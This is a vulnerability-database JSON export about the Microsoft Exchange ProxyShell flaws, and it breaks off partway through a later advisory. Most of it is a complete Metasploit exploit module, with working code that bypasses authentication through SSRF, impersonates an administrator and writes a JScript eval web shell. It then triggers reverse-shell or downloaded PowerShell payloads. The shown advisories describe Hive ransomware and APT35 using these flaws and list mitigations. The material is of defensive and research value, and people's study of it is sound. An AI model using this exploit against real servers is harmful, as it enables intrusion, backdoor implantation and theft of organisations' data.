"AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2021-08-20T15:47:04", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyShell Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "PACKETSTORM:163895", "href": "https://packetstormsecurity.com/files/163895/Microsoft-Exchange-ProxyShell-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'winrm' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::EXE \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyShell RCE', \n'Description' => %q{ \nThis module exploit a vulnerability on Microsoft Exchange Server that \nallows an attacker to bypass the authentication (CVE-2021-31207), impersonate an \narbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve \nthe RCE (Remote Code Execution). \n \nBy taking advantage of this vulnerability, you can execute arbitrary \ncommands on the remote Microsoft Exchange Server. \n \nThis vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, \nExchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, \nExchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'Orange Tsai', # Discovery \n'Jang (@testanull)', # Vulnerability analysis \n'PeterJson', # Vulnerability analysis \n'brandonshi123', # Vulnerability analysis \n'mekhalleh (RAMELLA S\u00e9bastien)', # exchange_proxylogon_rce template \n'Spencer McIntyre', # Metasploit module \n'wvu' # Testing \n], \n'References' => [ \n[ 'CVE', '2021-34473' ], \n[ 'CVE', '2021-34523' ], \n[ 'CVE', '2021-31207' ], \n[ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ], \n[ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ], \n[ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ] \n], \n'DisclosureDate' => '2021-04-06', # pwn2own 2021 \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Powershell', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_powershell, \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n} \n} \n], \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper, \n'CmdStagerFlavor' => %i[psh_invokewebrequest], \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' \n} \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyShell'], \n'Reliability' => [REPEATABLE_SESSION] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'A known email address for this organization']), \nOptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]), \n]) \n \nregister_advanced_options([ \nOptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']), \nOptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']), \nOptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']), \nOptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']), \nOptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), \nOptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), \nOptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) \n]) \nend \n \ndef check \n@ssrf_email ||= Faker::Internet.email \nres = send_http('GET', '/mapi/nspi/') \nreturn CheckCode::Unknown if res.nil? \nreturn CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' \n \nCheckCode::Vulnerable \nend \n \ndef cmd_windows_generic? \ndatastore['PAYLOAD'] == 'cmd/windows/generic' \nend \n \ndef encode_cmd(cmd) \ncmd.gsub!('\\\\', '\\\\\\\\\\\\') \ncmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b') \nend \n \ndef random_mapi_id \nid = \"{#{Rex::Text.rand_text_hex(8)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\" \nid.upcase \nend \n \ndef request_autodiscover(_server_name) \nxmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } \n \nresponse = send_http( \n'POST', \n'/autodiscover/autodiscover.xml', \ndata: soap_autodiscover, \nctype: 'text/xml; charset=utf-8' \n) \n \ncase response.body \nwhen %r{<ErrorCode>500</ErrorCode>} \nfail_with(Failure::NotFound, 'No Autodiscover information was found') \nwhen %r{<Action>redirectAddr</Action>} \nfail_with(Failure::NotFound, 'No email address was found') \nend \n \nxml = Nokogiri::XML.parse(response.body) \n \nlegacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content \nfail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty? \n \nserver = '' \nxml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| \ntype = item.at_xpath('./xmlns:Type', xmlns)&.content \nif type == 'EXCH' \nserver = item.at_xpath('./xmlns:Server', xmlns)&.content \nend \nend \nfail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty? \n \n{ server: server, legacy_dn: legacy_dn } \nend \n \ndef request_fqdn \nntlm_ssp = \"NTLMSSP\\x00\\x01\\x00\\x00\\x00\\x05\\x02\\x88\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \nreceived = send_request_raw( \n'method' => 'RPC_IN_DATA', \n'uri' => normalize_uri('rpc', 'rpcproxy.dll'), \n'headers' => { \n'Authorization' => \"NTLM #{Rex::Text.encode_base64(ntlm_ssp)}\" \n} \n) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nif received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i) \nhash = received['WWW-Authenticate'].split('NTLM ')[1] \nmessage = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) \ndns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] \n \nreturn dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase \nend \n \nfail_with(Failure::NotFound, 'No Backend server was found') \nend \n \n# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff \ndef request_mapi(_server_name, legacy_dn) \ndata = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \nheaders = { \n'X-RequestType' => 'Connect', \n'X-ClientInfo' => random_mapi_id, \n'X-ClientApplication' => datastore['MapiClientApp'], \n'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\" \n} \n \nsid = '' \nresponse = send_http( \n'POST', \n'/mapi/emsmdb', \ndata: data, \nctype: 'application/mapi-http', \nheaders: headers \n) \nif response&.code == 200 \nsid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s \nend \nfail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty? \n \nsid \nend \n \n# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. \ndef run_cve_2021_34473 \nif datastore['BackendServerName'] && !datastore['BackendServerName'].empty? \nserver_name = datastore['BackendServerName'] \nprint_status(\"Internal server name forced to: #{server_name}\") \nelse \nprint_status('Retrieving backend FQDN over RPC request') \nserver_name = request_fqdn \nprint_status(\"Internal server name: #{server_name}\") \nend \n@backend_server_name = server_name \n \n# get information via an autodiscover request. \nprint_status('Sending autodiscover request') \nautodiscover = request_autodiscover(server_name) \n \nprint_status(\"Server: #{autodiscover[:server]}\") \nprint_status(\"LegacyDN: #{autodiscover[:legacy_dn]}\") \n \n# get the user UID using mapi request. \nprint_status('Sending mapi request') \nmailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn]) \nprint_status(\"SID: #{mailbox_user_sid} (#{datastore['EMAIL']})\") \n \nsend_payload(mailbox_user_sid) \n@common_access_token = build_token(mailbox_user_sid) \nend \n \ndef send_http(method, uri, opts = {}) \nssrf = \"Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nunless opts[:cookie] == :none \nopts[:cookie] = \"Email=#{ssrf}\" \nend \n \nrequest = { \n'method' => method, \n'uri' => \"/#{ssrf}#{uri}\", \n'agent' => datastore['UserAgent'], \n'ctype' => opts[:ctype], \n'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' } \n} \nrequest = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? \nrequest = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? \nrequest = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? \n \nreceived = send_request_cgi(request) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef send_payload(user_sid) \n@shell_input_name = rand_text_alphanumeric(8..12) \n@draft_subject = rand_text_alphanumeric(8..12) \npayload = Rex::Text.encode_base64(PstEncoding.encode(\"#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{@shell_input_name}\\\"],\\\"unsafe\\\");}</script>\")) \nfile_name = \"#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}\" \nenvelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject) \n \nsend_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8') \nend \n \ndef soap_autodiscover \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress> \n<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \nSOAP \nend \n \ndef web_directory \nif datastore['UseAlternatePath'] \ndatastore['IISWritePath'].gsub('\\\\', '/') \nelse \ndatastore['ExchangeWritePath'].gsub('\\\\', '/') \nend \nend \n \ndef build_token(sid) \nuint8_tlv = proc do |type, value| \ntype + [value.length].pack('C') + value \nend \n \ntoken = uint8_tlv.call('V', \"\\x00\") \ntoken << uint8_tlv.call('T', 'Windows') \ntoken << \"\\x43\\x00\" \ntoken << uint8_tlv.call('A', 'Kerberos') \ntoken << uint8_tlv.call('L', datastore['EMAIL']) \ntoken << uint8_tlv.call('U', sid) \n \n# group data for S-1-5-32-544 \ntoken << \"\\x47\\x01\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x0c\\x53\\x2d\\x31\\x2d\\x35\\x2d\\x33\\x32\\x2d\\x35\\x34\\x34\\x45\\x00\\x00\\x00\\x00\" \nRex::Text.encode_base64(token) \nend \n \ndef execute_powershell(cmdlet, args: []) \nwinrm = SSRFWinRMConnection.new({ \nendpoint: full_uri('PowerShell/'), \ntransport: :ssrf, \nssrf_proc: proc do |method, uri, opts| \nuri = \"#{uri}?X-Rps-CAT=#{@common_access_token}\" \nuri << \"&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\" \nopts[:cookie] = :none \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>}, \n\"<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>\" \n) \nopts[:data].gsub!( \n%r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand=\"true\">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>}, \n\"<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>\" \n) \nsend_http(method, uri, opts) \nend \n}) \n \nwinrm.shell(:powershell) do |shell| \nshell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH) \nshell.extend(SSRFWinRMConnection::PowerShell) \nshell.run({ cmdlet: cmdlet, args: args }) \nend \nend \n \ndef exploit \n@ssrf_email ||= Faker::Internet.email \nprint_status('Attempt to exploit for CVE-2021-34473') \nrun_cve_2021_34473 \n \npowershell_probe = send_http('GET', \"/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}\", cookie: :none) \nfail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200 \n \nprint_status('Assigning the \\'Mailbox Import Export\\' role') \nexecute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ]) \n \n@shell_filename = \"#{rand_text_alphanumeric(8..12)}.aspx\" \nif datastore['UseAlternatePath'] \nunc_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nelse \nunc_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\" \nunc_path = \"\\\\\\\\\\\\\\\\#{@backend_server_name}\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\\\#{@shell_filename}\" \nend \n \nnormal_path = unc_path.gsub(/^\\\\+127\\.0\\.0\\.1\\\\(.)\\$\\\\/, '\\1:\\\\') \nprint_status(\"Writing to: #{normal_path}\") \nregister_file_for_cleanup(normal_path) \n \n@export_name = rand_text_alphanumeric(8..12) \nexecute_powershell('New-MailboxExportRequest', args: [ \n{ name: '-Name', value: @export_name }, \n{ name: '-Mailbox', value: datastore['EMAIL'] }, \n{ name: '-IncludeFolders', value: '#Drafts#' }, \n{ name: '-ContentFilter', value: \"(Subject -eq '#{@draft_subject}')\" }, \n{ name: '-ExcludeDumpster' }, \n{ name: '-FilePath', value: unc_path } \n]) \n \nprint_status('Waiting for the export request to complete...') \n30.times do \nif execute_command('whoami')&.code == 200 \nprint_good('The mailbox export request has completed') \nbreak \nend \nsleep 5 \nend \n \nprint_status('Triggering the payload') \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \nif !cmd_windows_generic? \nexecute_command(payload.encoded) \nelse \nboundary = rand_text_alphanumeric(8..12) \nresponse = execute_command(\"cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}\") \n \nprint_warning('Dumping command output in response') \nif response.body =~ /START#{boundary}(.*)END#{boundary}/m \nprint_line(Regexp.last_match(1).strip) \nelse \nprint_error('Empty response, no command output') \nend \nend \nwhen :windows_dropper \nexecute_command(generate_cmdstager(concat_operator: ';').join) \nwhen :windows_powershell \ncmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) \nexecute_command(cmd) \nend \nend \n \ndef cleanup \nsuper \nreturn unless @common_access_token && @export_name \n \nprint_status('Removing the mailbox export request') \nexecute_powershell('Remove-MailboxExportRequest', args: [ \n{ name: '-Identity', value: \"#{datastore['EMAIL']}\\\\#{@export_name}\" }, \n{ name: '-Confirm', value: false } \n]) \nend \n \ndef execute_command(cmd, _opts = {}) \nif !cmd_windows_generic? \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\"));\" \nelse \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\" \nend \n \nsend_request_raw( \n'method' => 'POST', \n'uri' => normalize_uri(web_directory, @shell_filename), \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"#{@shell_input_name}=#{cmd}\" \n) \nend \nend \n \nclass PstEncoding \nENCODE_TABLE = [ \n71, 241, 180, 230, 11, 106, 114, 72, \n133, 78, 158, 235, 226, 248, 148, 83, \n224, 187, 160, 2, 232, 90, 9, 171, \n219, 227, 186, 198, 124, 195, 16, 221, \n57, 5, 150, 48, 245, 55, 96, 130, \n140, 201, 19, 74, 107, 29, 243, 251, \n143, 38, 151, 202, 145, 23, 1, 196, \n50, 45, 110, 49, 149, 255, 217, 35, \n209, 0, 94, 121, 220, 68, 59, 26, \n40, 197, 97, 87, 32, 144, 61, 131, \n185, 67, 190, 103, 210, 70, 66, 118, \n192, 109, 91, 126, 178, 15, 22, 41, \n60, 169, 3, 84, 13, 218, 93, 223, \n246, 183, 199, 98, 205, 141, 6, 211, \n105, 92, 134, 214, 20, 247, 165, 102, \n117, 172, 177, 233, 69, 33, 112, 12, \n135, 159, 116, 164, 34, 76, 111, 191, \n31, 86, 170, 46, 179, 120, 51, 80, \n176, 163, 146, 188, 207, 25, 28, 167, \n99, 203, 30, 77, 62, 75, 27, 155, \n79, 231, 240, 238, 173, 58, 181, 89, \n4, 234, 64, 85, 37, 81, 229, 122, \n137, 56, 104, 82, 123, 252, 39, 174, \n215, 189, 250, 7, 244, 204, 142, 95, \n239, 53, 156, 132, 43, 21, 213, 119, \n52, 73, 182, 18, 10, 127, 113, 136, \n253, 157, 24, 65, 125, 147, 216, 88, \n44, 206, 254, 36, 175, 222, 184, 54, \n200, 161, 128, 166, 153, 152, 168, 47, \n14, 129, 101, 115, 228, 194, 162, 138, \n212, 225, 17, 208, 8, 139, 42, 242, \n237, 154, 100, 63, 193, 108, 249, 236 \n].freeze \n \ndef self.encode(data) \nencoded = '' \ndata.each_char do |char| \nencoded << ENCODE_TABLE[char.ord].chr \nend \nencoded \nend \nend \n \nclass XMLTemplate \ndef self.render(template_name, context = nil) \nfile_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', \"#{template_name}.xml.erb\") \ntemplate = ::File.binread(file_path) \ncase context \nwhen Hash \nb = binding \nlocals = context.collect { |k, _| \"#{k} = context[#{k.inspect}]; \" } \nb.eval(locals.join) \nelse \nraise ArgumentError \nend \nb.eval(Erubi::Engine.new(template).src) \nend \nend \n \nclass SSRFWinRMConnection < WinRM::Connection \nclass MessageFactory < WinRM::PSRP::MessageFactory \ndef self.create_pipeline_message(runspace_pool_id, pipeline_id, command) \nWinRM::PSRP::Message.new( \nrunspace_pool_id, \nWinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline], \nXMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]), \npipeline_id \n) \nend \nend \n \n# we have to define this class so we can define our own transport factory that provides one backed by the SSRF \n# vulnerability \nclass TransportFactory < WinRM::HTTP::TransportFactory \nclass HttpSsrf < WinRM::HTTP::HttpTransport \n# rubocop:disable Lint/ \ndef initialize(endpoint, options) \n@endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint \n@ssrf_proc = options[:ssrf_proc] \nend \n \ndef send_request(message) \nresp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message }) \nWinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml \nend \nend \n \ndef create_transport(connection_opts) \nraise NotImplementedError unless connection_opts[:transport] == :ssrf \n \nsuper \nend \n \nprivate \n \ndef init_ssrf_transport(opts) \nHttpSsrf.new(opts[:endpoint], opts) \nend \nend \n \nmodule PowerShell \ndef send_command(command, _arguments) \ncommand_id = SecureRandom.uuid.to_s.upcase \nmessage = MessageFactory.create_pipeline_message(@runspace_id, command_id, command) \nfragmenter.fragment(message) do |fragment| \ncommand_args = [connection_opts, shell_id, command_id, fragment] \nif fragment.start_fragment \nresp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build) \ncommand_id = REXML::XPath.first(resp_doc, \"//*[local-name() = 'CommandId']\").text \nelse \ntransport.send_request(WinRM::WSMV::SendData.new(*command_args).build) \nend \nend \n \ncommand_id \nend \nend \n \ndef initialize(connection_opts) \n# these have to be set to truthy values to pass the option validation, but they're not actually used because hax \nconnection_opts.merge!({ user: :ssrf, password: :ssrf }) \nsuper(connection_opts) \nend \n \ndef transport \n@transport ||= begin \ntransport_factory = TransportFactory.new \ntransport_factory.create_transport(@connection_opts) \nend \nend \nend \n`\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/163895/exchange_proxyshell_rce.rb.txt"}], "hivepro": [{"lastseen": "2022-04-22T15:39:16", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here Hive Ransomware has been active since its discovery in June 2021, and it is constantly deploying different backdoors, including the Cobalt Strike beacon, on Microsoft Exchange servers that are vulnerable to ProxyShell (CVE-2021-31207, CVE-2021-34473 and CVE-2021-34523) security flaws. The threat actors then conduct network reconnaissance, obtain admin account credentials, and exfiltrate valuable data before deploying the file-encrypting payload. Hive and their affiliates access their victims' networks by a variety of methods, including phishing emails with malicious attachments, compromised VPN passwords, and exploiting weaknesses on external-facing assets. Furthermore, Hive leaves a plain-text ransom letter threatening to disclose the victim's data on the TOR website 'HiveLeaks' if the victim does not meet the attacker's terms. The Organizations can mitigate the risk by following the recommendations: \u2022Use multi-factor authentication. \u2022Keep all operating systems and software up to date. \u2022Remove unnecessary access to administrative shares. \u2022Maintain offline backups of data and Ensure all backup data is encrypted and immutable. \u2022Enable protected files in the Windows Operating System for critical files. The MITRE ATT&CK TTPs used by Hive Ransomware are: TA0001: Initial Access TA0002: Execution TA0003: Persistence TA0004: Privilege Escalation TA0005: Defense Evasion TA0006: Credential Access TA0007: Discovery TA0008: Lateral Movement TA0009: Collection TA0011: Command and ControlTA0010: Exfiltration TA0040: ImpactT1190: Exploit Public-Facing ApplicationT1566: PhishingT1566.001: Spear-phishing attachmentT1106: Native APIT1204: User ExecutionT1204.002: Malicious FileT1059: Command and Scripting InterpreterT1059.001: PowerShellT1059.003: Windows Command ShellT1053: Scheduled Task/JobT1053.005: Scheduled TaskT1047: Windows Management InstrumentT1136: Create AccountT1136.002: Domain AccountT1078: Valid AccountsT1078.002: Domain AccountsT1053: Boot or logon autostart executionT1068: Exploitation for Privilege EscalationT1140: Deobfuscate/Decode Files or InformationT1070: Indicator Removal on Host T1070.001: Clear Windows Event LogsT1562: Impair DefensesT1562.001: Disable or Modify ToolsT1003: OS Credential DumpingT1003.005: Cached Domain Credentials|T1018: Remote System DiscoveryT1021: Remote ServicesT1021.001: Remote Desktop ProtocolT1021.002: SMB/Windows admin sharesT1021.006: Windows Remote ManagementT1083: File and directory discoveryT1057: Process discoveryT1063: Security software discoveryT1049: System Network Connections DiscoveryT1135: Network Share DiscoveryT1071: Application Layer ProtocolT1071.001: Web ProtocolsT1570: Lateral tool transfer1486: Data Encrypted for ImpactT1005: Data from local systemT1560: Archive Collected DataT1560.001: Archive via UtilityT1105: Ingress Tool TransferT1567: Exfiltration over web service Actor Details Vulnerability Details Indicators of Compromise (IoCs) Recent Breaches https://millsgrouponline.com/ https://www.fcch.com/ https://www.konradin.de/de/ https://www.pollmann.at/en https://www.emilfrey.ch/de https://rte.com.br/ https://www.friedrich.com/ https://powerhouse1.com/ https://www.hshi.co.kr/eng/ https://www.eurocoininteractive.nl/ https://www.itsinfocom.com/ https://www.pan-energy.com/ https://nsminc.com/ https://www.ucsiuniversity.edu.my/ https://kemlu.go.id/portal/id Patch Links https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523 https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207 References https://www.varonis.com/blog/hive-ransomware-analysis https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-hive", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-22T14:34:47", "type": "hivepro", "title": "Hive Ransomware targets organizations with ProxyShell exploit", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-04-22T14:34:47", "id": "HIVEPRO:F2305684A25C735549865536AA4254BF", "href": "https://www.hivepro.com/hive-ransomware-targets-organizations-with-proxyshell-exploit/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-25T05:32:31", "description": "THREAT LEVEL: Red. For a detailed advisory, download the pdf file here APT35 aka Magic Hound, an Iranian-backed threat group, has begun using Microsoft Exchange ProxyShell vulnerabilities as an initial attack vector and to execute code through multiple web shells. The group has primarily targeted organizations in the energy, government, and technology sectors based in the United States, the United Kingdom, Saudi Arabia, and the United Arab Emirates, among other countries. The threat actor exploits the Microsoft Exchange ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) to gain initial access to create web shells and disable antivirus services on the victim\u2019s system. To gain persistence in the environment, the threat actor employs both account creation and scheduled tasks. For future re-entry, the account is added to the "remote desktop users" and "local administrator's users" groups. The threat actors use PowerShell to issue multiple commands to disable Windows Defender. Then they create a process memory dump from LSASS.exe that is zipped before exfiltration via web shell. The threat actor uses native Windows programs like "net" and "ipconfig" to enumerate the compromised server. A file masquerading as dllhost.exe is used to access certain domains for command and control. Therefore, data can be exfiltrated by the threat actor which could potentially resulting in information theft and espionage. The Microsoft Exchange 